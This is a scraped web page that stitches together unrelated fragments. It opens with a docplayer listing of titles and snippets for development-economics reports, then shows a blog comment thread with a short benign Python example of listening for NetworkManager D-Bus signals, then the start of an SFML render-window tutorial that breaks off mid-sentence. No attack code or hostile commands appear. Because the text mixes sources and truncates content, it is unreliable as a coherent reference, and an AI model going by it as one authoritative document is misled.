Common Fund for Commodities and bamboo value chains Short brief by Guy Sneyers Short brief by Guy Sneyers Chief Operations Officer, CFC, World Bamboo Congress, April 2012 Young autonomous intergovernmental
FOOD AVAILABILITY AND NATURAL RESOURCE USE
FOOD AVAILABILITY AND NATURAL RESOURCE USE Nadia El-Hage Scialabba Natural Resources Management and Environment Department, FAO FAO/OECD Expert Meeting on Greening the Economy with Agriculture Paris, 5
Exploring the links between water and economic growth
Exploring the links between water and economic growth A report prepared for HSBC by Frontier Economics: Executive Summary June 2012 June 2012 The water challenge Population and economic growth are putting
33. CATTLE FEED MANUFACTURING PLANT
33. CATTLE FEED MANUFACTURING PLANT 33-2 TABLE OF CONTENTS PAGE I. SUMMARY 33-3 II. PRODUCT DESCRIPTION & APPLICATION 33-3 III. MARKET STUDY AND PLANT CAPACITY 33-3 A. MARKET STUDY 33-3 B. PLANT CAPACITY
117. PROFILE ON PRODUCTION OF BOLTS AND NUTS
7. PROFILE ON PRODUCTION OF BOLTS AND NUTS 7-2 TABLE OF CONTENTS PAGE I. SUMMARY 7-3 II. PRODUCT DESCRIPTION & APPLICATION 7-3 III. MARKET STUDY AND PLANT CAPACITY 7-4 A. MARKET STUDY 7-4 B. PLANT CAPACITY
Post-Tsunami Livelihoods Support and Partnership Programme
Post-Tsunami Livelihoods Support and Partnership Programme Project Completion Report Digest Document Date: 25-Apr 201 Project No. 151 Asia and the Pacific Division Programme Management Department Project),
The impact of high food prices on hunger
Briefing paper: Hunger on the rise Soaring prices add 75 million people to global hunger rolls The impact of high food prices on hunger Provisional FAO estimates show that the number of undernourished
3. Agriculture, Rural Development, and Food Security
3. Agriculture, Rural Development, and Food Security Agriculture plays a central role in the development of the UEMOA member countries, on average contributing to about 36% of total GDP in 2004 (FAO, 2005).
3. How Much would it Cost to Act?
3. How Much would it Cost to Act? Key Points The public and private investment needed for improved water supply and sanitation and water resources management is considerable. However, broken down to country-level
Goal 1: Eradicate extreme poverty and hunger. 1. Proportion of population below $1 (PPP) per day a
Annex II Revised Millennium Development Goal monitoring framework, including new targets and indicators, as recommended by the Inter-Agency and Expert Group on Millennium Development Goal Indicators At
PROFILE ON PRIMARY AND SECONDARY SCHOOL
PROFILE ON PRIMARY AND SECONDARY SCHOOL 188-2 TABLE OF CONTENTS PAGE I. SUMMARY 188-3 II. SERVICE DESCRIPTION & APPLICATION 188-3 III. MARKET STUDY AND SERVICE CAPACITY 188-4 A. MARKET STUDY 188-4 B. CAPACITY
2014 ECONOMIC SURVEY REPORT HIGHLIGHTS
2014 ECONOMIC SURVEY REPORT HIGHLIGHTS Presented by CABINET SECRETARY MINISTRY OF DEVOLUTION AND PLANNING 29 TH APRIL 2014 1 ECONOMIC SURVEY 2014 Outline International scene Performance of economic sectors
175. PROFILE ON SOLAR WATER PUMP SET ASSEMBLING
75. PROFILE ON SOLAR WATER PUMP SET ASSEMBLING 75-2 TABLE OF CONTENTS PAGE I. SUMMARY 75.3 II. PRODUCT DESCRIPTION & APPLICATION 75-3 III. MARKET STUDY AND PLANT CAPACITY 75-5 A. MARKET STUDY 75-5 B. PLANT
Primary Activities: Agriculture
Primary Activities: Agriculture Def. : growing crops and tending livestock, for sale or subsistence. 10% of the total earth land is for crop farming. Declining trend in agriculture employment in developing
Presentation Outline. Introduction. Declining trend is largely due to: 11/15/08
State of the Cotton Industry and Prospects for the Future in Ghana Presented By Mr. Kwaku Amoo-Baffoe November, 2008 Presentation Outline Introduction Institutional Arrangement for Cotton Production in
Cash Crops, Food Crops and Agricultural Sustainability
GATEKEEPER SERIES No. 2 International Institute for Environment and Development Sustainable Agriculture and Rural Livelihoods Programme Cash Crops, Food Crops and Agricultural Sustainability EDWARD
LIQUIFIED PETROLEUM GAS (LPG) PROMOTION: THE GHANA EXPERIENCE
LIQUIFIED PETROLEUM GAS (LPG) PROMOTION: THE GHANA EXPERIENCE PRESENTATION AT: UNDP/WORLD BANK-ENERGY AND POVERTY W KSHOP ADDIS ABABA, ETHIOPIA BY: EMMANUEL A. QUAYE FOLI MINISTRY OF ENERGY GHANA OCTOBER
Urban development: promoting jobs, upgrading slums, and developing alternatives to new slum formation 1
Urban development: promoting jobs, upgrading slums, and developing alternatives to new slum formation 1 The Cities Alliance has reproduced this section of the Millennium Project s Report to the UN Secretary
Round Table Codes of Conduct on Social Standards Impact, innovation and intensive dialogue
Round Table Codes of Conduct on Social Standards Impact, innovation and intensive dialogue Lessons learned from stakeholder dialogues and pilot projects focusing on the enhancement of social standards
Indrani vithanage 2012/6/15 3
About Sri Lanka Total Energy Scenario Energy Demand Energy supply Bottlenecks to develop Energy Policy Indrani vithanage 2012/6/15 3 Indrani vithanage 2012/6/15 Sri Lanka is an island in the Indian Ocean
Highlights of Organic Issues within National Agric Policy (20013)
Highlights of Organic Issues within National Agric Policy (20013) (Ministry of Agriculture Food Security and Cooperatives Tanzania By. Mibavu, G. M. 1 Outline i. Introduction ii. Opportunities on Organic
74. PROFILE ON BAKING OVENS
74. PROFILE ON BAKING OVENS 74-2 TABLE OF CONTENTS PAGE I. SUMMARY 74-3 II. PRODUCT DESCRIPTION & APPLICATION 74-4 III. MARKET STUDY AND PLANT CAPACITY 74-4 A. MARKET STUDY 74-4 B. PLANT CAPACITY & PRODUCTION
Solution to Unsolved Numericals in the Textbook
Solution to Unsolved Numericals in the Textbook National Income and Related Aggregates. Calculate Gross National Disposable Income from the following data: (i) National income 2,000 (ii) Net factor,
Sustaining Ecosystems: Deforestation, Biodiversity, & Forest Management
Sustaining Ecosystems: Deforestation, Biodiversity, & Forest Management tutorial by Paul Rich 1. Forests Types & Importance Outline 2. Temperate Deforestation old growth forest, U.S. & Canada 3. Tropical
Madagascar: Makira REDD+
project focus Madagascar: Makira REDD+ Madagascar is considered to be one of the top five biodiversity hotspots in the world due to more than 75% of all animal and plant species being endemic while less
Impacts of foreign agricultural investments in developing countries & PRINCIPLES FOR RESPONSIBLE AGRICULTURAL INVESTMENT
Food Security and Hunger in the Post-2015 Development Agenda Prague 24 June 2 0 1 3 Food and Agriculture Organization of the United Nations Impacts of foreign agricultural investments in developing countries
Effects of the Global Economic Crisis on Health: Ghana's Experience
Effects of the Global Economic Crisis on Health: Ghana's Experience Felix Ankomah Asante Ama Pokuaa Fenny November 16-19, 2009 OUTLINE Introduction Economic Situation and Global Crisis Ghana- Background
PROFILE ON THE PRODUCTION OF BAKING POWDER
PROFILE ON THE PRODUCTION OF BAKING POWDER Table of Contents I. SUMMARY... 3 II. PRODUCT DESCRIPTION AND APPLICATION... 3 III. MARKET STUDY AND PLANT CAPACITY... 4 IV. MATERIALS AND INPUTS... 7 V. TECHNOLOGY
SAMPLE TERMS OF REFERENCE FOR SANITATION MARKETING CONSUMER (MARKET) RESEARCH
SAMPLE TERMS OF REFERENCE FOR SANITATION MARKETING CONSUMER (MARKET) RESEARCH 1. SUMMARY [Organization] is seeking to hire an independent research firm to conduct a consumer survey in the [area if applicable
|
http://docplayer.net/1762338-Low-tech-sustainable-sanitation-options-for-ghana-and-ethiopia-economic-social-and-technical-aspects.html
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
5 comments:
Why not make the python interface to networkmanager a separate project? Or perhaps a part of upstream?
Yes, that's the plan.
v0.20 is now merged in the master branch. It is still messy, but does nearly everything that v0.8.4 did.
Awesome!
I've spent a long time trying to connect to a NetworkManager event with python without success. Tried with your bindings, and it works!
#! /usr/bin/python
import gobject
import dbus, dbus.service
from dbus.mainloop.glib import DBusGMainLoop
dbus_loop=DBusGMainLoop()
dbus.set_default_main_loop(dbus_loop)
from networkmanager.networkmanager import NetworkManager
def nState(state):
print 'New State'
print state
nm = NetworkManager()
nm.connect_to_signal('StateChanged',nState)
loop = gobject.MainLoop()
loop.run()
Yes, that's the plan.
|
http://mvidner.blogspot.com/2009/07/hackweek-networkmanager-python-library.html
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
Custom GAP advertising packet
We can change the content of the generic access profile (GAP) advertising packet (AP) to contain the information we want it to contain. If we have only a small amount of data we want to communicate to the world, then we can use the modified GAP AP to send that information to any BLE scanner, without waiting for it to establish a connection. In this article, we’re going to modify advertising data step by step, then receive the result with a custom-built Evothings app.
Prerequisites
You’ll need:
A BLE-enabled mbed board. Any of these will work.
Install the Evothings Workbench on your PC and the app on your phone. See here for Android or iOS.
A tablet or smartphone with BLE.
The LightBlue iOS app or the nRF Master Control Panel Android app to view the results.
For more information about Evothings, see their Quick Start Guide, tutorials and BLE API reference.
GAP data review
The general GAP broadcast’s data breakdown is illustrated in this diagram:
The BLE stack eats part of our package’s 47B, so only 26B are available for our data
Every BLE package can contain a maximum of 47 bytes (which isn’t much), but:
The BLE stack requires 8 bytes (1 + 4 + 3) for its own purposes.
The advertising packet data unit (PDU) therefore has at maximum 39 bytes. But the BLE stack once again requires some overhead, taking up another our own data structure also needs an indication of length and type (two bytes in total). So we have 26 bytes left.
All of which means that we have only 26B to use for the data we want to send over GAP.
And here’s what the bottom two layers of structure look like for our particular example - sending manufacturer data:
The example we use here only requires two data structures, one of 3B, one of 28B (of which two are used for data length and type indications)
Using the mbed BLE API
First, we need to include a couple of headers: for mbed and for BLE:
#include "mbed.h" #include "BLEDevice.h"
Then, we declare the BLE object:
BLEDevice ble;
Now we provide the name of the device:
// change the device's name const static char DEVICE_NAME[] = "ChangeMe!!";
We have up to 26 bytes of data to customise (less is fine, but you can’t exceed 26 bytes!):
// example of hex data const static uint8_t AdvData[] = {0x01,0x02,0x03,0x04,0x05};
We can use character data instead of hex:
// example of character data const static uint8_t AdvData[] = {"ChangeThisData"};
Note: most BLE scanner programs will only display the hex representation, so you may see the characters displayed as the numbers that represent them.
All of that was just setup. Now we need to do something with it. We start by calling the initialiser for the BLE base layer:
int main(void) { ble.init();
Note: the
ble.init() should always be performed before any other BLE setup.
Next, we set up the advertising flags:
ble.accumulateAdvertisingPayload(GapAdvertisingData:: BREDR_NOT_SUPPORTED | GapAdvertisingData::LE_GENERAL_DISCOVERABLE ); ble.setAdvertisingType(GapAdvertisingParams::ADV_CONNECTABLE_UNDIRECTED);
The second half of the first line puts the advertisement in the general discoverable mode, and the last flag sets the type of advertisement to be a connectable undirected advertisement. These are the flags that will cost us a total of three out of the 31 bytes.
It is worth noting that the
ADV_CONNECTABLE_UNDIRECTED flag could just as easily be
ADV_NON_CONNECTABLE_UNDIRECTED if no connection is needed. We have chosen to use the connectable flag as some BLE apps will not display advertising data until a connection is established.
We can then set up the payload. The header
MANUFACTURER_SPECIFIC_DATA is where we lose another two bytes of data. Once the header has announced the data we plug in the array we created earlier:
ble.accumulateAdvertisingPayload(GapAdvertisingData:: MANUFACTURER_SPECIFIC_DATA, AdvData, sizeof(AdvData));
Notice that the
AdvData variable is added to the BLE device at this point.
Now we set the advertising interval and start advertising:
ble.setAdvertisingInterval(160); // 100ms; in multiples of 0.625ms. ble.startAdvertising();
This will take care of the GAP advertising on the mbed side.
Seeing our data
Compile your program and install it on your board (drag and drop it to the board). Then decide if you want to use generic apps or the custom-made Evothings app (or use both and compare results).
Generic apps
On your phone, start the BLE application (nRF Master Control Panel for Android and LightBlue for iOS). It will scan for BLE devices, and should show us ours:
We can see the name we set, the appropriate flags and the data we pushed into the manufacturer data field.
Evothings custom-made app
We’ve created an Evothings GAP smartphone example that works with the embedded mbed example above.
To run the app:
Make sure you’ve installed the Evothings Workbench on your computer and the Evothings client on your phone.
Connect the workbench on your computer to the client on your smartphone (it will ask for your computer’s IP address).
Click RUN on the “mbed Evothings GAP” program on the workbench.
The code will run on your phone’s Evothings client.
The phone app will show:
The code for the application is in the app.js file. It is written in JavaScript and can be modified in real time. Try making a modification, save the changes, and watch them load to the Evothings client on your phone.
This demo is very simple but provides a starting point for more advanced programming.
|
https://docs.mbed.com/docs/ble-intros/en/master/Advanced/CustomGAP/
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
[SOLVED] Qt Creator not recognising Widgets despite inlcuding all necessary includes
Qt creator doesnt recognise QTreeWidget when typed in. I literally included all header files:
@#include <QDialog>
#include <QtCore>
#include <QtGui>
#include <QWidget>@
And even the tutorial Im watching had LESS exhaustive header files and worked for them (they missed the QWidget include)
I do understand that:
@#include <QTreeWidgetItem>@
is one way of making sure the compiler includes the TreeWidgetItem, which does work if I include it, but I dont see why that needs to be in there; I included QWidget which includes ALL widgets.
Infact in the tutorial the only includes were @#include <QDialog>
#include <QtCore>
#include <QtGui>@
i.e. it didnt even include QWidget and the tutorial pulled it off!
Please can anyone explain why this is so???
- arnolddumas
The thing is the tutorial you're reading was written for Qt4. In Qt5, some includes must be changed.
In Qt4 the <QtGui> include was used to make all the widgets known by the compiler. But in Qt5, the widgets (QLineEdit, QTextEdit ....) have been moved to a brand new module called 'widgets'. Therefore you'll need to replace QtGui by QtWidgets
Notice there's a 's' at the end of the QtWidgets include.
So your includes should now look like that :
@#include <QtCore>
#include <QtWidgets>
@
Also notice that QDialog is already included with QtWidgets.
And don't forget to add the new 'widgets' module in your *.pro file.
Now everything should just works fine.
bq. I included QWidget which includes ALL widgets
Including <QWidget> gives the compiler a complete declaration of the QWidget base class. It does not generally include a declaration of sub-classes like QLabel, QTextEdit etc.; they have their own includes.
Including <QtGui> (Qt4) or <QtWidgets> (Qt5) does include complete declarations for all widgets. You should not get into the habit of including all of the GUI includes for non-trivial project unless you are particularly enamoured of longer-than-necessary build times.
It's not clear what you mean by, "Qt creator doesnt recognise QTreeWidget when typed in." Qt Creator cannot perform auto-complete functions for classes without a complete declaration of a class. If you only have a forward declaration, perhaps provided by a related include that doesn't itself require a full declaration, then Creator knows only that the class exists but not how it is built so it cannot offer completion for member functions etc. For example, the QWidget include declares the existence but not the content of class QLayout, QVariant, QStyle etc.
Thanks guys, I included QtWidgets and it seems to work!
|
https://forum.qt.io/topic/25545/solved-qt-creator-not-recognising-widgets-despite-inlcuding-all-necessary-includes
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
KirkulaMember
Content count18
Joined
Last visited
Community Reputation141 Neutral
About Kirkula
- RankMember
Help me figure out what I'm doing wrong, please!
Kirkula replied to Kirkula's topic in For Beginnersoh man, what a dope I am! lol, thanks matt!
Experienced programmer, where do I start?
Kirkula replied to fligex's topic in For BeginnersInstead of "playing" the video games, try analyzing them. Look at them like a programmer, like you would any other program. Think about how every frame would be coded, for instance, say you're making asteroids. Think down to just one frame. You have the ship in the middle, the asteroids flying around, the score and lives at the top. There you go, you have a few objects already. Now unpause that, and you have animation. Well, all that is is just a continuous loop that has changes in every iteration, depending on what happens in the game. You also have the controller, so there's input to worry about. And, of course, the screen, so you have to draw to that. When you destroy an asteroid, they would split or be destroyed, and your score would go up. Destroy them all, and you get to the next level, or new frame/scene. When you die, your lives would be reduced by one, and when you run out of lives, the game loop ends. You can either restart it, or close it all together. So basically, you just have to scrutinize every aspect of a game. Think about it like a programmer, not a gamer, and you should be all set. I'm sure there are plenty of books on the subject as well. Have fun!
CryEngine 3 or Unity 3d?
Kirkula replied to Emmet Cooper's topic in For BeginnersHah, I like how UDK is free for schools to use, but it's 2500 a year for a business to use to train safety to it's employees...lol
C++, should I switch?
Kirkula replied to superman3275's topic in For BeginnersI don't see why there's a need to "switch" to a language from another one. From my limited knowledge, it's my understanding that once you've mastered a lower level language such as C++, you're able to accomplish MUCH more than you ever can from higher ones, such as C# or Java (which both require virtualization) Instead of "switching" you should be "adding". The good thing about Java is that almost EVERYONE has the JVM, so programming in that will mean almost everyone will be able to run your programming. Also, you don't have to worry about optimization for every machine on the market. The bad thing is, being it's a higher level language, it will run slower, and you have less control over what the program can do. The good thing about C# is that, with XNA, you can make games for the XBox. The bad thing is the craziness you have to deal with when trying to monetize said game. From what I understand, it's friggin nuts trying to deal with them. With java, you can make games and sell them on countless websites, even Steam. Then again, you can do the same with C#, I would imagine. The moral is, don't SWITCH your language...add to your repertoire! Don't stop using C++ while you learn other languages, continue keeping it fresh in your mind and fingers, and when you start to feel like you've brought yourself up to par with your knowledge in another language as compared to your knowledge in C++, either learn more in C++, or add another language! From what I understand, every language can do everything, but some languages do some things better than others. If you know all these languages, you'll know what's good for what, and what you should avoid using for such and such!
Help me figure out what I'm doing wrong, please!
Kirkula posted a topic in For BeginnersSo I've read a good bit of a couple of books on Java. Java: The Complete Reference 8th edition by oracle press, and Java: How to Program 8th edition by Deitel. Mind you, I never finished either book, only halfway through each, so maybe that's why I can't figure this out. Or perhaps I'm just being a complete retard that's been working all day on his first real class and has brain freeze, lol. So anyway, here's the code: [source lang="java"]import java.util.Random; public class Planet { private Random rand; private double mass; private double xPos, yPos; private double xVel, yVel; /** constructors */ Planet(){ setMass(); setPos(); setVelocity(); } Planet(double m){ mass = m; setPos(); setVelocity(); } Planet(double x, double y){ setMass(); xPos = x; yPos = y; setVelocity(); } Planet(double x, double y, double m){ mass = m; xPos = x; yPos = y; setVelocity(); } Planet(double x, double y, double i, double j, double m){ mass = m; xPos = x; yPos = y; xVel = i; yVel = j; } /** returns distance from calling object * * @param x is the xPos of the calling object * @param y is the yPos of the calling object */ double distance(double x, double y){ double distX = Math.abs(xPos - x); double distY = Math.abs(yPos - y); return Math.sqrt(distX * distX + distY * distY); } /** returns unit-length x vector pointing from this to calling object * * @param x is the xPos of calling object * @param dist is the value returned from distance() */ double dirX(double x, double dist){ return (x - xPos) / dist; } /** returns unit-length y vector pointing from this to calling object * * @param y is the yPos of calling object * @param dist is the value returned from distance() */ double dirY(double y, double dist){ return (y - yPos) / dist; } /** calculates acceleration scalar for calling object * * @param m is the mass of the calling object * @param dist is the value returned from distance() */ double accelScalar(double m, double dist){ return (6.674e-11 * m) / (dist * dist); } /** translates this object on XY plane. * should be called before accelerate. */ void translate(){ xPos += xVel; yPos += yVel; } /** determines delta V for calling object. * should be called after translate. * * @param as is the value returned from accelScalar() * @param dX is the value returned from dirX() * @param dY is the value returned from dirY() */ void accelerate(double as, double dX, double dY){ xVel += as * dX; yVel += as * dY; } void setMass(){ double d = rand.nextDouble() * 10.0; int e = (Math.abs(rand.nextInt()) % 6) + 22; setMass(d, e); } void setMass(double d, int e){ mass = Math.pow(d, e); } void setPos(){ int w = 800; int h = 600; double x = rand.nextDouble() * w; double y = rand.nextDouble() * h; setPos(x, y); } void setPos(double x, double y){ xPos = x; yPos = y; } void setVelocity(){ double x = rand.nextDouble() * 50000.0; double y = rand.nextDouble() * 50000.0; setVelocity(x, y); } void setVelocity(double x, double y){ xVel = x; yVel = y; } double[] getPos(){ double[] pos = {xPos, yPos}; return pos; } double[] getVelocity(){ double[] vel = {xVel, yVel}; return vel; } double getXPos(){ return xPos; } double getYpos(){ return yPos; } double getXVelocity(){ return xVel; } double getYVelocity(){ return yVel; } public String toString(){ return "X: " + xPos + "\tY: " + yPos; } } [/source] I'm getting a NullPointerException argument at line 129, the setMass() method. It works perfectly fine when I build the object using the full set of constructor arguments. Can anyone tell me where my problem is?
- Wow, I never expected this kind of feedback, nor this much. Thanks everyone for helping me along my path :-D.
Need opinion on game directional control keys.
Kirkula replied to wyattbiker's topic in For BeginnersThis type of control is nothing new, really. In many older games like this, most of the time you would control in 1 of 2 ways: 1) the way you were suggesting, with W = Accelerate, A = CounterClockwise, S = Decelerate/Reverse, D = ClockWise. 2) W = Up, A = Left, S = Down, D = Right. Either way is just as good, depends on the end user I suppose (I was always partial to type 1 myself). Type 1 may take a bit longer to get used to, but it will be more impressive with the idea of changing speeds and the ability of reverse, instead of just up, down, left, right. Map rotation would be nice, but I don't think it suites top down views, might get people dizzy :-P hehe.
VC# '05, or VC# '08....which one should I learn on?
Kirkula replied to Kirkula's topic in For BeginnersThanks for the input guys. I ended up buying "Beginning C# 2008 - by Christian Gross", I'll let you know how it turns out for me :-D.
VC# '05, or VC# '08....which one should I learn on?
Kirkula replied to Kirkula's topic in For BeginnersOk, thanks c0uchm0nster, that was what I was thinkin while I was in the shower. (my favorite place to think! get clean while you get smart!) Off to borders!
VC# '05, or VC# '08....which one should I learn on?
Kirkula posted a topic in For BeginnersI have downloaded both some time ago, and now I'm starting to get more serious about learning. I downloaded '05 because XNA was only available for that one, but I downloaded '08 as well, if only because, hey, it's there. Unfortanately though, I don't know which one I should spend more time learning. I'm leaning towards '08, because by the time I'm ready for my first games, the full XNA 3 will be available. I appreciate your thoughts on the matter, and if this was already posted by someone else, or answered in a FAQ, I appologize for the redundancy, but I'm on my way to the shower and off to borders for a book to start learning. I'll be purchasing whichever one you guys recommend, based on '05 or '08, or I'll just think of which version to go through while I'm there :-D. Thanks for your time.
- Quote:Original post by Tom Sloper [You're not too old. But you appear to be too insecure. I was older than you when I started, and it never occurred to me to ask if I was "too old." Although I appreciate the constructive criticism, and the "get your ass off the floor" attitude you were trying to instill onto me, I see from glancing at your web page (btw, nice page, I'ma add it to my faves and check it out later :-D) that when you started, the video game industry was still a frontier for programmers to jump in and take root in. Unfortunately, with todays high standards and the fact that games are starting to be a better investment for entertainment companies than the movie industry is (IMHO anyways), the space for my foot to get in the door is shrinking by the minute it seems. My question wasn't about insecurity as you have guessed, well, not fully anyway. I asked this because I can't afford to spend the next 4+ years investing my time and money into something that won't give me a carrer. If the majority posted that I AM to old (which most certainly wasn't the case, eg., you for instance) then I would have just either takin a few courses on the subject, or do what I usually do, and self teach. Thank you all for your helpful posts, and I'll be posting updates as to my progress in the wonderful world of programming :-D. But for now, it's off to borders! (yay! pay check cleared!).
Mentors?
Kirkula replied to natebuckley's topic in For BeginnersQuote:Original post by ibebrett at school i practically live in a certain math professors office. also, once you get to know them you get all kinds of inside perks. hmm...I think this goes back to the dating ad theme...what school you go to? I think I may have made up my mind as to which to pick ;-)
- Quote:Original post by Nik02 If you have a wireless keyboard and a large enough monitor, you can even code from the bed, so sitting in a chair is not actually a pre-requisite for programming. Actually, I AM in my bed with my computer :-D, but with a 19" monitor and a wired keyboard...you must have a big room :-P. If I strech out, I can touch both walls (shows how small my room is, it's even in 2D!!). But anyways, thank you all for the help, especially you, Maveryck, making me realize that I'm not to old to get into the biz (uh...and I appologize for the subtle way for calling you old...and if you didn't catch that till now, then I appologize for appologizing, hah!) seriously though, thanks guys :-D
- You hit the nail right on the head, breakin. To be quite honest, though, reading up on XNA is what got me re-interested in programming after 20 some odd years. Mainly the monetary gains you can supposedly achieve through it $-) haha. But I kid (somewhat), and I can't wait till I see my name in the credits of Halo 9!!!! (yes I can, Halo sucks...)
- Sounds promising so far, but by the looks of it, you all started learning at a much younger age. I just got out of 'Hello, world!' last week, so by the time I'm entry level, I'll be 35 most likely, juggling school and work. If you know of anyone else that has achieved this feat at this age, or any future poster happens to have started at the same time as me, bring my hopes up over the edge!
|
https://www.gamedev.net/profile/143843-kirkula/?tab=issues
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
A class defines a set of data and the operations you can perform on that data. Subclasses are similar to the classes from which they are derived, but they may have different properties or additional behavior. In general, any operation that is valid for a class is also valid for each subclass of that class.
Classes that you define with SCL can support two types of relationships:
Generally, the attributes, methods, events, event handlers, and interfaces that belong to a parent class are automatically inherited by any class that is created from it. One metaphor that is used to describe this relationship is that of the family. Classes that provide the foundation for other classes are called parent classes, and classes that are derived from parent classes are child classes. When more than one class is derived from the same parent class, these classes are related to each other as sibling classes. A descendent of a class has that class as a parent, either directly or indirectly through a series of parent-child relationships. In object-oriented theory, any subclass that is created from a parent class inherits all of the characteristics of the parent class that it is not specifically prohibited from inheriting. The chain of parent classes is called an ancestry.
Class Ancestry
Whenever you create a new class, that class inherits
all of the properties (attributes, methods, events, event handlers, and interfaces)
that belong to its parent class. For example, the Object class is the parent
of all classes in SAS/AF software.
The Frame and Widget classes are subclasses of the Object class, and they
inherit all properties of the Object class. Similarly, every class you use
in a frame-based application is a descendent of the Frame, Object, or Widget
class, and thus inherits all the properties that belong to those classes.
In addition to the inheritance relationship, classes have an instantiation or an "is a" relationship. For example, a frame is an instance of the Frame class; a radio box control is an instance of the Radio Box Control class; and a color list object is an instance of the Color List Model class.
All classes are instances of the Class class. The Class class is a metaclass. A metaclass collects information about other classes and enables you to operate on other classes. For more information about metaclasses, see Metaclasses.
Some SAS/AF software classes are specific types of classes.
Abstract classes group attributes and methods that are common to several subclasses. These classes themselves cannot be instantiated; they simply provide functionality for their subclasses.
The Widget class in SAS/AF software
is an example of an abstract class. Its purpose is to collect properties that
all widget subclasses can inherit. The Widget class cannot be instantiated.
In SAS/AF software, components that are built on the SAS Component Object Model (SCOM) framework can be classified either as views that display data or as models that provide data. Although models and views are typically used together, they are nevertheless independent components. Their independence allows for customization, flexibility of design, and efficient programming.
Models are non-visual components that provide data. For example, a Data Set List model contains the properties for generating a list of SAS data sets (or tables), given a specific SAS library. A model may be attached to multiple views.
Views are components that provide a visual representation of the data, but they have no knowledge of the actual data they are displaying. The displayed data depends on the state of the model that is connected to the view. A view can be attached to only one model at a time.
It may be helpful to think of model/view components as client/server components. The view acts as the client and the model acts as the server.
For more information on interfaces, see Interfaces. For more information
on implementing model/view communication, refer to
SAS Guide to Applications Development and to the SAS/AF online
As
previously
mentioned, the Class class (
sashelp.fsp.Class.class)
and any subclasses you create from it are metaclasses. Metaclasses enable you to collect information about other classes and to operate
on those classes.
Metaclasses enable you to make changes to the application at run time rather than only at build time. Examples of such changes include where a class's methods reside, the default values of class properties, and even the set of classes and their hierarchy.
Metaclasses also enable you to access information about parent classes, subclasses, and the methods and properties that are defined for a class. Specifically, through methods of the Class class, you can
For more information about metaclasses, see the Class class in the SAS/AF online Help.
You can create classes in SCL with the CLASS block. The CLASS block begins with the CLASS statement and ends with the ENDCLASS statement:
The CLASS statement enables you to define attributes, methods, events, and event handlers for a class and to specify whether the class supports or requires an interface. The remaining sections in this chapter describe these elements in more detail.The CLASS statement enables you to define attributes, methods, events, and event handlers for a class and to specify whether the class supports or requires an interface. The remaining sections in this chapter describe these elements in more detail.
The EXTENDS clause specifies the parent class. If you do not specify
an EXTENDS clause, SCL assumes that
sashelp.fsp.object.class is the parent class.
Using the CLASS block instead of the Class Editor to create a class enables the compiler to detect errors at compile time, which results in improved performance during run time.
For a complete description of the CLASS statement, see CLASS. For a
description of
using the Class Editor to define classes, refer to
SAS Guide to Applications Development.
Suppose you are editing an SCL entry in the Build window and that the entry contains a CLASS block. For example:
class Simple extends myParent; public num num1; M1: method n:num return=num / (scl='work.a.uSimple.scl'); M2: method return=num; num1 = 3; dcl num n = M1(num1); return (n); endmethod; endclass;To generate a CLASS entry from the CLASS block, issue the SAVECLASS command or select Generating the CLASS entry from the CLASS block is equivalent to using the Class Editor to create a CLASS entry interactively.
The CLASS block is especially useful when you need to make many changes to an existing class. To make changes to an existing class, use the CREATESCL function to write the class definition to an SCL entry. You can then edit the SCL entry in the Build window. After you finish entering changes, you can generate the CLASS entry by issuing the SAVECLASS command or selectingFor more information, see CREATESCL.
Any METHOD block in a class can refer to methods or attributes in its own class without specifying the _SELF_ system variable (which contains the object identifier for the class). For example, if method M1 is defined in class X (and it returns a value), then any method in class X can refer to method M1 as follows:
n=M1();You do not need to use the _SELF_ system variable:
n=_SELF_.M1();Omitting references to the _SELF_ variable (which is referred to as shortcut syntax) makes programs easier to read and maintain. However, if you are referencing a method or attribute that is not in the class you are creating, you must specify the object reference.
To instantiate a class, declare a variable of the specific class type, then use the _NEW_ operator. For example:
dcl mylib.classes.collection.class C1; C1 = _new_ Collection();You can combine these two operations as follows:
dcl mylib.classes.collection.class C1 = _new_ Collection();The _NEW_ operator combines the actions of the LOADCLASS function, which loads a class, with the _new method, which initializes the object by invoking the object's _init method.
You can combine the _NEW_ operator with the IMPORT statement, which defines a search path for references to CLASS entries, so that you can refer to these entries with one or two-level names instead of having to use a four-level name in each reference.
For example, you can use the following statements to
create a new collection object called C1 as an instance of the collection
class that is stored in
mylib.classes.collection.class:
/* Collection class is defined in */ /* the catalog MYLIB.MYCAT */ import mylib.mycat.collection.class; /* Create object C1 from a collection class */ /* defined in MYLIB.MYCAT.COLLECTION.CLASS */ declare Collection C1=_new_ Collection();
For more information, see _NEW_ and LOADCLASS.
Copyright 1999 by SAS Institute Inc., Cary, NC, USA. All rights reserved.
|
http://v8doc.sas.com/sashtml/sclr/z1107709.htm
|
CC-MAIN-2018-05
|
en
|
refinedweb
|
Hello, newbie here.
Just started euler problems to get better acquainted with C. The first problem is this-
So here is my program-So here is my program-Quote:
If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23.
Find the sum of all the multiples of 3 or 5 below 1000.
This compiles with an error-This compiles with an error-Code:
#include <stdio.h>
int main()
{
int _MAX = 1000;
int nums[_MAX] = {0};
int checkers[] = {3,5};
int k = 0;
int len = sizeof(checkers)/sizeof(int);
int sum = 0;
int checker;
for(k = 0; k < len; k++)
{
checker = checkers[k];
sum = 0;
while(sum+checker <= _MAX)
{
sum += checker;
nums[sum] = 1;
}
}
sum = 0;
for(k = 0; k < _MAX; k++)
{
if(nums[k])
sum += k;
}
printf("%d", sum);
getchar();
return 0;
}
main.c(6): error C2057: expected constant expression
main.c(6): error C2466: cannot allocate an array of constant size 0
which is line
If I change _MAX here to 1000 everything works and I get the right answer. What is wrong and how do I fix this? I tried google but got more confused.If I change _MAX here to 1000 everything works and I get the right answer. What is wrong and how do I fix this? I tried google but got more confused.Code:
int nums[_MAX] = {0};
|
http://cboard.cprogramming.com/c-programming/148384-expected-constant-expression-printable-thread.html
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
Using render windows
Introduction
Window package provides a complete system for handling windows and events, an can interface with OpenGL. But what if we don't want to use OpenGL ? SFML provides a package dedicated to 2D graphics, the graphics package.
Setup
To work with the graphics package, you have to include the correct header :
#include <SFML/Graphics.hpp>
SFML/Window.hpp is no more explicitly requiered, as it is already included by the graphics package.
The rendering window
SFML base window,
